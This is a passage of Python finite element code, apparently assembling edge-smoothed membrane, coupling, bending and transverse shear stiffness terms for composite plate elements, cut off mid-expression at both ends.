f44*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i4*dof+1, i2*dof+3] += Ac*((B12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i4*dof+1, i2*dof+4] += Ac*((B22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i4*dof+1, i3*dof+0] += Ac*((A12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i4*dof+1, i3*dof+1] += Ac*((A22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i4*dof+1, i3*dof+3] += Ac*((B12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i4*dof+1, i3*dof+4] += Ac*((B22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i4*dof+1, i4*dof+0] += Ac*((A12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i4*dof+1, i4*dof+1] += Ac*((A22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i4*dof+1, i4*dof+3] += Ac*((B12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i4*dof+1, i4*dof+4] += Ac*((B22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i4*dof+3, i1*dof+0] += Ac*((B11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i4*dof+3, i1*dof+1] += Ac*((B12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i4*dof+3, i1*dof+3] += Ac*((D11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i4*dof+3, i1*dof+4] += Ac*((D12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i4*dof+3, i2*dof+0] += Ac*((B11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i4*dof+3, i2*dof+1] += Ac*((B12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i4*dof+3, i2*dof+3] += Ac*((D11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i4*dof+3, i2*dof+4] += Ac*((D12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i4*dof+3, i3*dof+0] += Ac*((B11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i4*dof+3, i3*dof+1] += Ac*((B12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i4*dof+3, i3*dof+3] += Ac*((D11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i4*dof+3, i3*dof+4] += Ac*((D12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i4*dof+3, i4*dof+0] += Ac*((B11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i4*dof+3, i4*dof+1] += Ac*((B12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i4*dof+3, i4*dof+3] += Ac*((D11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i4*dof+3, i4*dof+4] += Ac*((D12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + D66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i4*dof+4, i1*dof+0] += Ac*((B12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i4*dof+4, i1*dof+1] += Ac*((B22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i4*dof+4, i1*dof+3] += Ac*((D12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i4*dof+4, i1*dof+4] += Ac*((D22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i4*dof+4, i2*dof+0] += Ac*((B12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i4*dof+4, i2*dof+1] += Ac*((B22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i4*dof+4, i2*dof+3] += Ac*((D12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i4*dof+4, i2*dof+4] += Ac*((D22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i4*dof+4, i3*dof+0] += Ac*((B12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i4*dof+4, i3*dof+1] += Ac*((B22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i4*dof+4, i3*dof+3] += Ac*((D12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i4*dof+4, i3*dof+4] += Ac*((D22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i4*dof+4, i4*dof+0] += Ac*((B12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i4*dof+4, i4*dof+1] += Ac*((B22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i4*dof+4, i4*dof+3] += Ac*((D12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i4*dof+4, i4*dof+4] += Ac*((D22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (D26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + D66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) if len(edge.trias) == 1: tria = edge.trias[0] if not tria.n1 in edge.nodes: other1 = tria.n1 elif not tria.n2 in edge.nodes: other1 = tria.n2 elif not tria.n3 in edge.nodes: other1 = tria.n3 else: raise RuntimeError('Invalid connectivity tria-edge') if np.dot(np.cross((n2 - n1).pos, (other1 - n1).pos), ZGLOBAL) > 0: tn1, tn2 = n1, n2 else: tn1, tn2 = n2, n1 x1, y1, z1 = tn1.pos x2, y2, z2 = tn2.pos x3, y3, z3 = other1.pos a = x2 - x1 b = y2 - y1 c = x3 - x1 d = y3 - y1 Ae = tria.Ae #TODO interpolate nodal properties when used if prop_from_node: raise NotImplementedError('') k = 5/6 #TODO!!! E = k * tria.prop.E E44 = E[0, 0] E45 = E[0, 1] E55 = E[1, 1] i1 = tn1.index i2 = tn2.index i3 = other1.index k0[i1*dof+2, i1*dof+2] += (-(a - c)*(E45*(b - d) - E55*(a - c)) + (b - d)*(E44*(b - d) - E45*(a - c)))/(4*(Ae*Ae)) k0[i1*dof+2, i1*dof+3] += (E44*(b - d) - E45*(a - c))/(4*Ae) k0[i1*dof+2, i1*dof+4] += (E45*(b - d) - E55*(a - c))/(4*Ae) k0[i1*dof+2, i2*dof+2] += (-c*(E45*(b - d) - E55*(a - c)) + d*(E44*(b - d) - E45*(a - c)))/(4*(Ae*Ae)) k0[i1*dof+2, i2*dof+3] += a*(-c*(E45*(b - d) - E55*(a - c)) + d*(E44*(b - d) - E45*(a - 